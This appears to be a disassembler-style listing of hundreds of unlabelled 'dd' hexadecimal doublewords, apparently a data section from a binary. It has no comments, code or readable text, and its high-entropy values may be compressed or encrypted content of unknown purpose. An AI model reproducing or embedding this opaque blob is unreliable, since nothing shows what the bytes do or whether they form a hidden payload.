dd 0A53B2E8Eh, 0E39C7D1Bh, 3E3162CFh, 0E92306F0h, 8E7985D1h
dd 87097809h, 55E82F20h, 0E96A8930h, 0E64B9FCCh, 0F4013959h
dd 32B9C23Ah, 8A5AF17Fh, 0FD429EBh, 0AD9745Ah, 48C5D409h
dd 2A22FADFh, 0F2E108E9h, 0A0F9ED8h, 0A73B8859h, 13421AF5h
dd 0F87E0948h, 0B0DFE7E9h, 4BB3E8FBh, 0F54F304h, 56488B33h
dd 0E22C0AC2h, 0A3810FDFh, 81BF0F17h, 0C82BE8D1h, 0E7AEF4B0h
dd 65B5E935h, 0FACA2B87h, 0F26A3D4Dh, 18A112EBh, 489C0A26h
dd 456BF850h, 15058109h, 0DE48AA67h, 295EC9F0h, 0C083CC01h
dd 9438908h, 98BC63F0h, 40B1B84Dh, 0BC1E92FCh, 0A7D2C950h
dd 9E5DD7Fh, 0A81D765Fh, 7FC5F83h, 0CCE681B0h, 7FF17479h
dd 36846AD4h, 44422536h, 5EA0598Ch, 0F6528512h, 6A84C817h
dd 752D6157h, 613B250Dh, 49B9F52Ah, 576240E1h, 0D94A9FE8h
dd 0FAFCC892h, 9069F8AFh, 0C865A417h, 9E110512h, 82E22755h
dd 0C4517407h, 0DFFDF881h, 0B1293269h, 92A624A9h, 0C8806DC9h
dd 0EB8827D4h, 89A39C3Ch, 0FE16B4E9h, 0F7571846h, 0EF1CBB4Ah
dd 0F18CC925h, 8FE94E8Ah, 8F08E37h, 7223E15h, 0BC624EA2h
dd 6135D45Dh, 9F8A5D74h, 0EA02C628h, 55510430h, 2B3AAFCh
dd 8AEBEB88h, 8229948h, 0C3A83B08h, 3548EB02h, 31BC598h
dd 2203E49h, 0E166099Ah, 89D0ECA0h, 5EB3608h, 0F6AE0E11h
dd 223E916h, 2A406B33h, 986A0A7Bh, 0C742A60h, 35ED613Bh
dd 4141EB59h, 9321743Eh, 4B30400Dh, 0A2C8E80Ch, 0C0BC8018h
dd 0F825EB99h, 0B70CA9BCh, 0B8F2DAF3h, 54E80821h, 90E039A7h
dd 3308803Bh, 741AA0D2h
dd 7FE4A01Bh, 57C5F17h, 0B1117350h, 0B085F3B0h, 6A91DADFh
dd 0EBFA0D3Ch, 0CA01804h, 3750E78h, 2712E783h, 9D0934B3h
dd 0E038A5FEh, 0C8BF700h, 75C70BC6h, 6B9AE415h, 0E589B75Eh
dd 62615F61h, 67F968Ah, 0C0EF201Ah, 5299F420h, 56655750h
dd 0AC0C036h, 4ADDE8C4h, 89BDD7EDh, 0C3332F58h, 0DC01030h
dd 0EE4BE830h, 39FBF422h, 37E68A0h, 0D4665DE2h, 0E682F862h
dd 0EB181988h, 0B42BA3B5h, 8052061Bh, 0C2756AEh, 80328B3Fh
dd 75303915h, 660B48AAh, 1A21404Bh, 373001C6h, 0BCD89905h
dd 16B4775Fh, 0C3F6FC41h, 0AA26D343h, 0A8C270C7h, 68EB2D8Bh
dd 470B2014h, 0F09B42Bh, 920B6802h, 19F4820h, 0E00E92A4h
dd 6B37E2Bh, 0C3226F4h, 0E0852C79h, 0E8206A56h, 623D176Bh
dd 4399FF88h, 0DF2BADEAh, 263269A5h, 3F9A5A16h, 32040ACAh
dd 70E83058h, 11BD86E5h, 0CA04102h, 0FC7E528Ch, 12F88F40h
dd 6FF788Dh, 914303DEh, 0E8ECC874h, 53560727h, 8D3205A3h
dd 24E5EA4Dh, 0C8C41814h, 0C78B3E20h, 0D0DCA84Fh, 591553EBh
dd 5688EA4Eh, 1EBA52E8h, 5604AD54h, 718AA674h, 0C7D6236h
dd 10B5FA59h, 0F9130504h, 205F96F2h, 417F0B78h, 7D64E1E0h
dd 4844FC08h, 44E21F7Eh, 4F89BC87h, 942039ADh, 49FF0C4Dh
dd 0E78041Eh, 0F88A1189h, 0BD027C0Bh, 31053D09h, 0E899230Bh
dd 0F4F7F7F3h, 4DE7A959h, 5787FE8h, 0C35D8DA0h, 84FC3F7h
dd 0AAD072B8h, 0E0217EC5h, 7CB718ECh, 0E814C1B5h, 0EACD3EACh
dd 1C953ECDh, 7F2F2107h, 88C9762Bh, 4BBBFF0Ch, 26657266h
dd 6D1C657Bh, 622C010h, 6DDF4657h, 7553FD68h, 363F2137h
dd 0E2406F50h, 8C449F5Bh, 0DFE78370h, 3253D485h, 6DD0080Dh
dd 1464414Ch, 0A21DFC51h, 0DC1E8B66h, 27C0489Dh, 0F981A402h
dd 77891ED4h, 0C030560Ch, 0EB4104B7h, 0C84E527Ch, 0F40A4F8h
dd 88F94FC1h, 1FE445Eh, 785E802Fh, 0FE652CC6h, 265E26A0h
dd 6AFD05A3h, 7701A902h, 0F0EBDF83h, 0A99A1BCh, 81A40CAFh
dd 9AE3BC51h, 54808418h, 465F1C22h, 45A8C3DEh, 0C9B230Ah
dd 0F7F7124Fh, 603D3B03h, 0D61346CAh, 51238683h, 0D2F792C7h
dd 1FE60801h, 0BE6F1C8Dh, 0FD1A0392h, 4112C2E4h, 0B1706984h
dd 627EE740h, 35F43C1Dh, 0FA8D1651h, 9E2F29E8h, 0B03C8BCEh
dd 3B591320h, 1C40CCC5h, 0E58B1458h, 6909F3AFh, 2A94F7F4h
dd 0A30CE84Fh, 0BF7C3CEDh, 590323A0h, 0B4D96480h, 4170ED3Ch
dd 0F6E81A55h, 3A426147h, 140495D4h, 27B92583h, 64F7BC70h
dd 25AA6509h, 5B9CF21Fh, 0BD1DBFCCh, 0FF197D01h, 0E5E72076h
dd 7266D540h, 0F70C1881h, 895976FBh, 46310672h, 5E040608h
dd 8B712B49h, 91B0B06Eh, 0F22516E1h, 492CE123h, 85A105CDh
dd 0D46F620h, 5E0F6982h, 58A69133h, 1B46623Ah, 18F2F7C0h
dd 0C3C5350h, 5F35C3BDh, 0E17301D5h, 40F98003h, 0A96637E8h
dd 31F30850h, 85C24EB6h, 570A60FFh, 923CA150h, 4E7AA37Fh
dd 0E2976ECh, 3BE12C99h, 0B4FD2497h, 0FAB40721h, 0FFCB1ABAh
dd 82C2D263h, 919AF599h, 58A68EABh, 0E2BFCB59h, 0CEA1F5CCh
dd 24403539h, 4D0C7E68h, 0EB928A1h, 0B004258Bh, 0E9FD0ED7h
dd 20E75648h, 9A3073E4h, 750117AAh, 49B3BC0Fh, 5795363h
dd 1AEB431Dh, 750C161Ch, 0DB024413h, 75C436DAh, 0C50BDC0Eh
dd 4D453B46h, 3959B37Ch, 0F96E74E2h, 4238577Dh, 516912AEh
dd 0F1770262h, 0E975A541h, 45790B9Dh, 3CA06389h, 0B7F805FFh
dd 0BFF380D2h, 83527501h, 6E8C853Ch, 8D57D721h, 0EF2A0A49h
dd 0C1FEC052h, 6AD3BEA0h, 78A7FA8h, 468D0487h, 2103C514h
dd 92580676h, 7C41180Ch, 3F8B0DEBh, 14995EF5h, 0BF3E267Eh
dd 509CC810h, 116B0209h, 2986F4B9h, 0A09CA25Fh, 48745610h
dd 84956522h, 2924103Dh, 0B089139Ah, 667C80B2h, 272BEE48h
dd 5D435F18h, 0B2080E24h, 353D5A49h, 0EF4540F6h, 0FE673604h
dd 55F65E49h, 0A108EE9h, 912D8FB8h, 0F83FDB36h, 78A8046h
dd 7474613Ch, 0D272481Ah, 8F7B478h, 0B91D0122h, 0EBA08525h
dd 0CE3F85F9h, 6D087E77h, 7F142709h, 8A5A5F03h, 3A22DF47h
dd 0E1D9DFC3h, 0E6D33B0Bh, 48BEFC73h, 541945C0h, 0DC607E7Fh
dd 45EA2BE8h, 48190ACFh, 0C0E1336h, 0AC9A48C9h, 0C43941CDh
dd 5EEAA32Ah, 83021AA6h, 0B7EB20C9h, 688E15A4h, 0A2EB2410h
dd 75400697h, 0E9EB147Dh, 37820498h, 0FE3F6173h, 0DEFC4E60h
dd 0CE81C920h, 82EB38E8h, 0C0A2B85Ah, 5975C807h, 72E9420Bh
dd 0E816BC44h, 0F6827462h, 0E40B052Eh, 750B066Dh, 1C5F640h
dd 0CD803B2Fh, 9F53E9E0h, 0A5BE5ED1h, 0C3A17C2Eh, 0BFFBE681h
dd 3CE92414h, 5117C817h, 8D40C1CEh, 2F25E90Ch, 3E2D77A8h
dd 1936D233h, 0E1E58419h, 0A4681111h, 9763FC2Eh, 0EA121522h
dd 0FFD44A0Bh, 7DCB3640h, 1A16FD91h, 0F5581FE1h, 0C703989h
dd 9904589Dh, 9F080A18h, 48931C06h, 8B13FBB3h, 94512515h
dd 0ACB5C42Bh, 57D580FAh, 4C8B5D7Eh, 0FBCFAB1Dh, 0CDE00F0Fh
dd 41F61574h, 0AECFAB8h, 0C387405Fh, 0EC7CC2E0h, 8B3F1FEBh
dd 24BAFA34h, 206AF882h, 1AE0E7C1h, 0B692D196h, 3080CCB0h
dd 0F4D0489h, 73C80E3h, 5C74FD3Bh, 54766818h, 0D4EF0F5h
dd 6E89FF10h, 0F876CFECh, 0A2EEECCh, 0C68B2C1Ch, 98A161EAh
dd 0EA223AB6h, 4475740Fh, 0DEB4C9D0h, 414A446Ah, 32F9CD4Ch
dd 0D38D4A27h, 27386120h, 8E05A4Dh, 1DB63C48h, 0C1030D03h
dd 881AC88Ah, 7540EA0Eh, 146261Bh, 2CB86130h, 146A6C12h
dd 5A8AD0B3h, 0FFCA24EBh, 5FE28BF1h, 0D134FD4Dh, 78BD55C1h
dd 0FFB129A8h, 0C6C1291h, 0DF087205h, 562CB7E9h, 0ED40D46Ch
dd 0B7904968h, 3275503Bh, 706B4217h, 0D03A411Ah, 8D818314h
dd 3821058Dh, 0E006179Dh, 8998010Ah, 1087C3Ah, 2C047F7Ah
dd 41F18820h, 0EDC8C27Bh, 166A4290h, 90F87ECEh, 0E208E809h
dd 0F544EC77h, 64EB1A48h, 0BE641049h, 0AED771E9h, 83A06566h
dd 0CB86813h, 1B817E56h, 2F434950h, 0EFCD6A83h, 0D2FE2DE8h
dd 2C6A3E06h, 0E354221Ch, 12FF1ADCh, 0EF044030h, 2EB01838h
dd 0EE60FD39h, 0EB192A88h, 6AF22F3Ch, 218B0257h, 97B859DBh
dd 1D480CF8h, 18EA030Ah, 0D4A50181h, 98E83423h, 7D80B51Eh
dd 0FD590649h, 7F03A561h, 7245FC89h, 0EB0C57AEh, 940F1A91h
dd 0B54EF3Bh, 5AA3CB05h, 362C983Ch, 8B6593E8h, 91456FFFh
dd 0E9160D75h, 8424DED3h, 0C30AEB46h, 9C18753Eh, 5F350B5Eh
dd 6EA9CD85h, 0CEAA74C8h, 684AD5A4h, 0AD2995FEh, 44B3A615h
dd 14E759Ch, 378396C8h, 0C1B9425h, 0C684980Eh, 1190A366h
dd 0EA0D892Dh, 0B20DD5D0h, 65BE690Dh, 1F03A190h, 0C2800C8Dh
dd 8808A09Ch, 0BF73C13Bh, 2B042921h, 0FA81F050h, 724B8AE1h
dd 1406CE07h, 0B7EEE8EBh, 706B15DEh, 9719979Dh, 4CE2EE41h
dd 0FCC6A860h, 0F792B3Eh, 0E10FEFC1h, 4C969CFh, 8C0A7E7Dh
dd 929A4401h, 0E7CE089h, 59F1494Bh, 9BF012A6h, 14F833E6h
dd 1C738D31h, 0F47955FEh, 3E83564Bh, 3012FEF8h, 5D3CC2F6h
dd 7E03750Ch, 4A04FAC1h, 763FA083h, 166A7403h, 1C4B8B5Ah
dd 7508C613h, 2009204Ch, 52BB1E73h, 0CA8B0066h, 4C8DEBD3h
dd 0F7770402h, 0B85C2100h, 7509FE44h, 0DC82AB28h, 8DE19587h
dd 2154E04Ah, 0B89C1F70h, 4521D9C4h, 65590806h, 0EDFC0C04h
dd 80328FBh, 1E08533Fh, 8CBC045Bh, 2E5A89F4h, 0D90C7655h
dd 61521325h, 0D131953Fh
dd 2487B580h, 974AE3B5h, 0EC24B5F4h, 0FE752B43h, 0FBC11925h
dd 40893604h, 3B5E4BF3h, 276DE0Eh, 34909B8Bh, 689D12Ch
dd 25D63B39h, 74DAD8E9h, 14CE636Ah, 73BE7114h, 0FBD96182h
dd 0BE1CBE41h, 0D302CB0Ch, 21D6F7EEh, 4CBAA074h, 52750403h
dd 31019A26h, 4B8D1FEBh, 4A1F54E0h, 0CDB8B41Dh, 71BA1841h
dd 9A97408Bh, 5289F249h, 83790C4Eh, 752419FCh, 0F75DCF48h
dd 0FD7B6C6Dh, 1A75EAAFh, 5C6CA1EDh, 0BD2104D1h, 6D5E9403h
dd 0BE5F5265h, 0C836C70h, 751EC23Bh, 204A8A60h, 4D8851A0h
dd 0C175FE0Fh, 257319C4h, 82BCA8C7h, 6C60910Eh, 194809EDh
dd 8F44E26Eh, 0EA18EEAEh, 10922529h, 26056739h, 0BA215619h
dd 84F4EA0Ch, 927B9A6h, 72F95210h, 30443B06h, 0FA0A535Fh
dd 2DF72B0Ch, 997E9AA1h, 58DC91F0h, 1D8C37CEh, 687C3562h
dd 0DE1C1A6h, 0C48030Fh, 68DA70A6h, 53828494h, 92D6FF51h
dd 5C332820h, 8500961h, 3A340F54h, 0A4BDC1FBh, 58DAA388h
dd 48FE2130h, 0F10BA443h, 2B6A5DEEh, 60BAC055h, 12FE5504h
dd 447878E5h, 46536916h, 0B60C701Ch, 142D138Bh, 69B2DB10h
dd 0EE8BF619h, 409F466h, 5E0C180h, 294EC8C3h, 4C03F32Bh
dd 0A951EC11h, 0C0D21448h, 0BCD344D1h, 0F4089757h, 30A00D84h
dd 23A1053Bh, 6D4B2076h, 2F14082Ch, 14539B69h, 0A53D8945h
dd 0F83DB59Fh, 9614E2E2h, 0D3319864h, 821182CDh, 0BE6CFEF4h
dd 0E1831617h, 0C12341F0h, 0EB4904F9h, 0E7D20A0h, 0FF4CCEFEh
dd 5BB54E0Bh, 0EBCA0A3Ah, 9D9120ECh, 0D3F6E368h, 0E11FE86Bh
dd 6850A161h, 98DF3BD8h, 73081698h, 3D235F19h, 315823B7h
dd 3ACF0BFEh, 4BC3CCA0h, 63D2BC14h, 7E77233h, 8B797511h
dd 8D8F5DAh, 5D91527h, 0BCE6EB11h, 4B59B134h, 7BF81173h
dd 0D8409A08h, 0EDEB5529h, 0A2638A1h, 891C0D2Ah, 0E10EE30h
dd 0BCB138E8h, 0DB85983Ch, 7F14743Bh, 1FDA6653h, 107FB859h
dd 43500175h, 0FF5E38A9h, 0C50FC3C8h, 361D892Bh, 93E72AA6h
dd 2FE0FA2Eh, 495CDFFCh, 0B413908Ch, 44BA7CBBh, 377D8994h
dd 706413A4h, 0DE105524h, 8F70AC5Ah, 8D0BA948h, 17F91803h
dd 532E91D5h, 6AC1B8C0h, 0C020053Bh, 3907FE78h, 0E974D70Bh
dd 98209A8Dh, 61FF5D33h, 4C4983F5h, 75CEB10Ah, 6A63670Dh
dd 5FCB0020h, 57CC985h, 470CE1D1h, 438BF7EBh, 88F96254h
dd 1FC92B0Ah, 0C65EA6F1h, 4E4EFE1Fh, 7E3F8583h, 0C8C2E794h
dd 0D9960F7h, 614A8901h, 6101CE22h, 8520FF83h, 1601B32Bh
dd 0FF0F24CFh, 0A838180Bh, 0EC01F453h, 44885C23h, 0FE0904DFh
dd 0AA38750Fh, 0EC4DE740h, 0B8EB0B21h, 154F58CAh, 962C50E4h
dd 4DD69F48h, 0A8541986h, 2D86996Fh, 0B26686A2h, 7A06D2D9h
dd 0F872C26Bh, 7D79B987h, 81A9BEDh, 8DFA9C12h, 7CAA0829h
dd 41C0F159h, 0EE46B9A6h, 2251CA52h, 9E9A0C37h, 0C08264E5h
dd 42FE0406h, 0C2297D0Bh, 0BF9763C2h, 29257B0Fh, 81B1BFC6h
dd 9EFD3CEh, 170B5D3Bh, 57CE590h, 2C2FEBAFh, 8D150D29h
dd 6421E04Eh, 17A47B55h, 0AEBC538Dh, 86142E6Bh, 2C370932h
dd 8E32FEF8h, 9560A89h, 344BFC01h, 773EF8FCh, 146D165h
dd 0FC321304h, 0E36A097h, 798D3344h, 1AD83E20h, 0ED991D3Bh
dd 9912373Ch, 42A21ABBh, 30705307h, 8D088925h, 904422Ch
dd 0D03B069h, 64D58A88h, 75C117B5h, 895D0530h, 4B709750h
dd 499C8E04h, 7A485457h, 893AC2DDh, 949B4689h, 683E48C9h
dd 0C468040Bh, 0B0E19641h, 31844698h, 814B34F2h, 7E68F436h
dd 74100389h, 68046A2Ah, 51E42082h, 15A976D8h, 271AA680h
dd 5B5A750Ch, 0A4FA5759h, 7D30C0F1h, 0B622B84Eh, 47E0E68h
dd 0B46305CAh, 5BEAA884h, 51C9D8A9h, 577FE164h, 3CC9714Ch
dd 0DB339741h, 5044C312h, 0C34943E0h, 0D9693887h, 705A8291h
dd 839930F9h, 408CF7ACh, 9F040608h, 924A0F04h, 8682FB1Fh
dd 0DDE1E7C1h, 70F06E79h, 708CA410h, 7F2F8580h, 22931231h
dd 20973875h, 0FA3B0F70h, 474C3C77h, 0F3B048F0h, 0EC4B88E8h
dd 0EE7EBBBDh, 0C70FC7FCh, 55F06440h, 0EF1E6443h, 4803F3ECh
dd 0E880C704h, 5152340h, 2D6357A2h, 0F706FEDCh, 90F88BC7h
dd 50C2D84h, 15F0CCABh, 0ADE84FDCh, 0C4A8D1Bh, 9010B412h
dd 449E640Ch, 22EBBC86h, 468A0EE4h, 82C86943h, 0E8C0840Ch
dd 0F84E887Bh, 9030475h, 0B6BA0478h, 0F7EA019Ah, 85021D2h
dd 0B573C3E5h, 0B2FD0C8Ah, 5DDC1052h, 8DD7806Fh, 4E2B1770h
dd 83EA4551h, 0EAACC1E6h, 3285610Fh, 0FC4FB083h, 5D3B5949h
dd 5A5C2C50h, 5E4CF239h, 8E0F5603h, 0C73B4B5Fh, 4F859382h
dd 0D9031307h, 8FA3F33Bh, 1BCDF445h, 3F2CF166h, 676898Eh
dd 11594F06h, 0E45F8B26h, 0C248C039h, 1F73202Ch, 0F88254C5h
dd 71014C8Dh, 889010F2h, 0A124C42Bh, 13221F18h, 0F59E909Ch
dd 0A7654F3Bh, 6091989h, 6065627Fh, 0CE2B1030h, 0F9F8D601h
dd 0AA9C40C7h, 608B03E1h, 0C10C2A14h, 4F6604FFh, 0F130318Ah
dd 5F88FB38h, 1CC8F41Fh, 55CC20FBh, 12B6405Bh, 46B8800Ch
dd 0CC0C18DBh, 751E3B4Ch, 208C5C58h, 13FF4407h, 40BE4C9Ch
dd 2CDC8321h, 0E6908ECFh, 66B0B982h, 2554EBCFh, 33B81021h
dd 84F14896h, 2EA5BA4Dh, 48584FBAh, 9D0C552Ch, 0CA324442h
dd 1746143h, 246F8762h, 9B3F46EFh, 2A092242h, 7647E9F8h
dd 0D8C09DB0h, 8D0F0F43h, 0C10D3A69h, 0B5A629DFh, 6E4B98A4h
dd 0A5B2335Ch, 585268FBh, 832399E9h, 5ED899DEh, 8B43153Bh
dd 0FB939D71h, 4505A6D4h, 3B225219h, 0E1772E42h, 6C68FEB2h
dd 7422CEA2h, 167A4506h, 216C8B0Eh, 8E06C44Eh, 91EEDA77h
dd 7102777Ah, 601ECC1Bh, 0BC038F81h, 760CE8E6h, 10EEC77Ah
dd 0DD4B207Bh, 0BC71A47Bh, 5CFB62DAh, 13A7EEE5h, 621851AEh
dd 3DD6AE38h, 394042E3h, 0CE106247h, 164B0F88h, 792281E6h
dd 4EC86222h, 0E604F57Ah, 184C8103h, 39CD7AFCh, 3DA7812Bh
dd 4D823B50h, 0ACD874FFh, 40BE0CC3h, 1D1CEB19h, 3E6F2068h
dd 0F2729F5Bh, 0C840F12h, 0C42D7322h, 0C570B1D1h, 0D52A0940h
dd 84475176h, 34AACF7Dh, 3150D629h, 0A7575303h, 0AF03A434h
dd 35CB84Ah, 1E75F03Bh, 2C0AE441h, 8A32863h, 67441CC8h
dd 108EA1Ch, 68915EBh, 0B80944A1h, 35507A13h, 30888B09h
dd 6887518Dh, 0D9988ED8h, 0FE143491h, 4E16335Eh, 0CB7EEB0Ah
dd 0DA15C3Eh, 2DF1B9EDh, 7F83D2DCh, 9D0F03FDh, 0D1234AC2h
dd 97894599h, 94214832h, 0E46EFD81h, 0E34E7C6Bh, 0E707D1FEh
dd 96B97CBAh, 0C303EC40h, 1D73F83Bh, 758F801Bh, 47768271h
dd 0C7078140h, 0F06704EAh, 0B58A811Bh, 8BDCEB40h, 0B927E8C6h
dd 1371B4BEh, 81B4D1FFh, 74AC48FEh, 0A4F8CFBFh, 6245278Ch
dd 6FAE31A1h, 39023321h, 0BA16035h, 9AC1F708h, 433115A3h
dd 0B321B920h, 2D89910Eh, 0A6A80634h, 0C95221AAh, 0D48EA70h
dd 0DC65DE91h, 6206EA01h, 0ED858357h, 6399ABFFh, 0BE3F3139h
dd 68507D49h, 0AE3F6EF0h, 7585BA74h, 0A2C5C539h, 0DF03284Dh
dd 50567AA6h, 5AF4B85h, 20F83D4h, 0B69C0DF9h, 0C69E752h
dd 0C7640421h, 3C1E87C5h, 54658BE7h, 0D8A3FA7h, 0F30EB81h
dd 8561EF83h, 72B27DDBh, 72504823h, 7404760Fh, 75796B2Ch
dd 0FC264785h, 204109A5h, 0CE7E85Ah, 10529142h, 8EFCAFAh
dd 51310449h, 14EEE9EFh, 0C5A53B59h, 21AB0A74h, 14508FF2h
dd 850FB9AAh, 0F624BA04h
dd 3BCAC600h, 62761041h, 72140A05h, 0CF09F787h, 0EB3774C0h
dd 0F13A8EEh, 570E3175h, 790109BAh, 2DF2EA4h, 2072F23Bh
dd 898DE074h, 0AA200D0Eh, 816614C8h, 2B1AE2E1h, 0BD51EC1h
dd 9098F097h, 9D0871F1h, 57090C92h, 2B93A257h, 0F958C048h
dd 0C82EC60Ch, 0FF01D18h, 111B603h, 24218010h, 41113898h
dd 320440C7h, 17750517h, 0FB2405FFh, 6096684h, 0B2F5C20h
dd 61F5E810h, 2C3B59B4h, 0A1226014h, 0B469F343h, 0F052CD5Eh
dd 6A98087Eh, 13201831h, 0B16F2BC7h, 0F64BEB73h, 0E80C65F0h
dd 0F93B25C2h, 3A73F080h, 0CE9E0F8Bh, 7CCB003Eh, 45F391Ah
dd 53152F76h, 1B92702h, 8D153B77h, 2EBE09F5h, 0A542C7A9h
dd 3822B112h, 6D1C872h, 4E2C4690h, 187E0CA8h, 3B5EF826h
dd 4BA03AC6h, 14E2F933h, 174D197Ch, 8DF95314h, 4F6AE815h
dd 819926CCh, 0D8A078D4h, 147D3BA6h, 46D272F8h, 0B794368Fh
dd 0BA1574C5h, 0A88955B4h, 9F1F290Dh, 28E93D01h, 4C6A6701h
dd 7F831291h, 632A9ECh, 0C2F60C0Ch, 0DC3F343Fh, 92D7DE08h
dd 0C51FFBEBh, 0E94E44E6h, 2B3383F3h, 84EED2F7h, 0E608FEE0h
dd 20C7712h, 9A11FE3Bh, 0BCDF302h, 2025EB25h, 0EF74F751h
dd 0D7B1D354h, 57980144h, 73B9AA56h, 0FC6035Fh, 0CC84B885h
dd 0D89575F3h, 0B7882F29h, 0FC552C82h, 0C1D28523h, 0B3617ECBh
dd 1E85B835h, 8CF48880h, 1ADC5065h, 99BAA4FEh, 119CA149h
dd 9D2541C7h, 6A831E5Ch, 207D4C1h, 3D89D675h, 0E962C592h
dd 0C83B3790h, 39A37350h, 3B05F8CCh, 1CF261EBh, 3023C01Bh
dd 0C4E4706h, 33E0C153h, 7229EC5Fh, 1FBCD703h, 8626FA88h
dd 7BFC493Eh, 4BE8340Eh, 3E1157FBh, 0F062A29h, 3A325988h
dd 76581954h, 7622DADAh, 54D8D32Bh, 29EC2290h, 8D18500Ah
dd 0EB093481h, 729DD602h, 14F1F45Ah, 0A4867A8h, 998D390Bh
dd 8D421992h, 290A8F0h, 218158BCh, 8817048Dh, 73A640CAh
dd 11011A07h, 615F8E29h, 85D76159h, 8A1F1784h, 0E98C3DEEh
dd 4E035BCEh, 4E5AA9F7h, 8D85B0h, 0F33B1034h, 188A4373h
dd 75DB840Bh, 583C2730h, 3B805E31h, 4332016Ah, 8FF7EB46h
dd 8A4E73A4h, 512EB45h, 63E922C7h, 553999B7h, 4E82B530h
dd 0C38F6099h, 0A0A005EBh, 42A903F3h, 0BDE89E75h, 0C7C711Dh
dd 0F67E73F7h, 0FC68DF16h, 68A7609h, 4055865Fh, 425E73A5h
dd 43251F58h, 0D71CFA60h, 9B28158h, 19AC432Bh, 9E99AA42h
dd 88311260h, 0EBC24910h, 73C22780h, 45502913h, 34487269h
dd 0AEEB18F0h, 7703C0C4h, 70A764F0h, 25C26216h, 88D16841h
dd 77B81648h, 0FC96B13h, 794C56BCh, 21952457h, 627BE95Bh
dd 77570A86h, 2569155Eh, 82814740h, 806F0CF8h, 0C77C8D33h
dd 12761813h, 72B17F0h, 10288C8h, 8C47D40Fh, 601AEBE1h
dd 7296573h, 833402D3h, 28C6548Ch, 62D15572h, 0A730E11h
dd 0F0C72B7Fh, 18F46E5Eh, 468A42E6h, 0DE8B6ACFh, 2B77D0C5h
dd 27600AFFh, 73466F2Ch, 8973FE14h, 6606382Eh, 3C804007h
dd 855F0969h, 0AB224347h, 1B302F63h, 4BEC2B03h, 0B873ECD2h
dd 0A8B8253Dh, 0FE2950A4h, 0FBDD5C0Ah, 4C965625h, 0EE68D90Ah
dd 0F7C90F0Fh, 85E86448h, 0FA72C495h, 85C34F5Dh, 0C837B9D7h
dd 0E871B121h, 0E4197FDCh, 55C6595Dh, 5869826Ch, 7D04DF2Ah
dd 0E8741818h, 9F035836h, 275022A3h, 0FE2FE008h, 919A5150h
dd 0DC8C5E20h, 0C5D81A8h, 0EF31A018h, 96318A05h, 342CFD59h
dd 9DC828A4h, 0C49B23DDh, 100C7310h, 9F04EB78h, 16CCCF28h
dd 0FFC77968h, 7FA293EEh, 9844536Bh, 0EB861820h, 22A2B792h
dd 0C2ADB642h, 1BC63A15h, 5B13ED12h, 8A0C0E1Dh, 0C1F610C7h
dd 0F50D7432h, 8FDA4C93h, 5809C000h, 0FB12B704h, 10931211h
dd 10044883h, 0A2CB8402h, 4B743391h, 9E8E1185h, 51E826F7h
dd 76E21990h, 6A22B2FEh, 303BB543h, 0D1F78050h, 0E283CB23h
dd 0E1C105EFh, 0E1CA0B04h, 1B840489h, 35372A2Dh, 7B7E2683h
dd 8730E636h, 0E936BA17h, 0FB472E33h, 3E9C1C0h, 0FD81CF23h
dd 6005CA0Ah, 1217FE15h, 5ABC25E8h, 74C38405h, 83E94007h
dd 0A8100C49h, 7F0B0456h, 7B14DAF7h, 6FBA104h, 0FD9E0268h
dd 45152032h, 0B01E5805h, 0EB3FB91Ch, 74490178h, 0BC2D3D34h
dd 0E1F6477h, 0BE035208h, 3E2875C1h, 3AD8347h, 754FBCFEh
dd 0CFD867B6h, 0C340AC5h, 56CB8F09h, 0F84520A3h, 21FC4220h
dd 240BE03h, 22423EA6h, 0EBE32004h, 0E9E7731Ah, 0BF504C9h
dd 0FE60D4Dh, 0D09801Ah, 0E981AF07h, 87E5E66Bh, 0B3058733h
dd 0FE831FE2h, 1BD311F5h, 79139E41h, 685EB648h, 31E6F4E3h
dd 0C3DD181Dh, 582A2775h, 50431F10h, 7C988676h, 116788B5h
dd 3E07DD0Ch, 23E82540h, 1AC4D5DAh, 8CAE5350h, 885A153Fh
dd 0F620AC58h, 420E740h, 26831B03h, 22EC13FEh, 220424FBh
dd 200224F7h, 0A95884EFh, 0A741DF1Ah, 0A46FFFBAh, 1ACBE10Ch
dd 0B611DFE9h, 0B0090316h, 4801E75h, 0EB0C014Eh, 83898718h
dd 0CDDAFBE5h, 8950343h, 412F70Ah, 21026F80h, 0FD6CD716h
dd 7E1142Eh, 0F1132034h, 2A166298h, 4AC612EBh, 7948CA23h
dd 9075202h, 0DD5A0331h, 1F9AC740h, 0A4F345F5h, 57534239h
dd 0E7269E58h, 0B428B21Fh, 14745B05h, 0AB015D84h, 8BE8530Fh
dd 2CD6962Eh, 0DAE9F725h, 16D8A866h, 0DC7098F6h, 8A6ADE0Ch
dd 411A71E8h, 12B0E9FBh, 1184F484h, 703D69D2h, 6AC8443Eh
dd 4F501698h, 0E091B822h, 23EC022Fh, 2A79F5C8h, 43F98108h
dd 10535874h, 3B2818E9h, 9D908530h, 0DD0565E6h, 0E01DDC01h
dd 257895B8h, 6BD05005h, 1DDED895h, 7ED90277h, 1CF45D96h
dd 6EEBCA5Ch, 35195B20h, 404A0876h, 24C5EB13h, 4628722Dh
dd 0C8501117h, 4F1ED140h, 53402170h, 0DA8519B2h, 0FBE4EFFEh
dd 0B80250A8h, 0E3DAACCEh, 0DE29C402h, 93CB2438h, 45AA8302h
dd 30A48670h, 46C8718Eh, 0AD25B58Fh, 0C23D587Ch, 7D0247E8h
dd 0C645DCCh, 4828D59h, 4D642FAh, 19E0CEFDh, 66095C7Dh
dd 0EB2B8C6Ch, 8B435453h, 0D3398473h, 13D2E5A0h, 0ACFA458Ah
dd 4F4E4C07h, 0B80D64EDh, 4060FC03h, 2B1F7D2Bh, 6084C134h
dd 0EFC3EC5h, 7BD18144h, 0F81CCF6Dh, 48C7F8D2h, 22186F02h
dd 5DE37548h, 0A9923ADh, 1BA242C7h, 3155EB18h, 6A325E60h
dd 898D2E10h, 89FDDB02h, 118A25CEh, 8A09D453h, 14BE5C0Bh
dd 0EF8917A5h, 0FF0501FCh, 14BC5B5Fh, 4E0FF75Ah, 0E1A056F4h
dd 0E4B7983Ah, 642A746Ch, 0DBF19556h, 114D1411h, 8848FC5Ah
dd 681C09F0h, 287E0D46h, 0DB2075A1h, 115DE0CAh, 0C972481h
dd 0BB1D1AFCh, 25FD64D5h, 0A4383C1Ah, 9AB75607h, 0F8A30551h
dd 3C2A11BAh, 1FBE882h, 94EE9BD7h, 0D620438Ch, 6EAE8D59h
dd 7512CD49h, 157F4590h, 92F5C5BFh, 4F1ECBC3h, 0B8138AACh
dd 0C458C468h, 0D091EFC6h, 67380E74h, 213D4112h, 7AED7CD5h
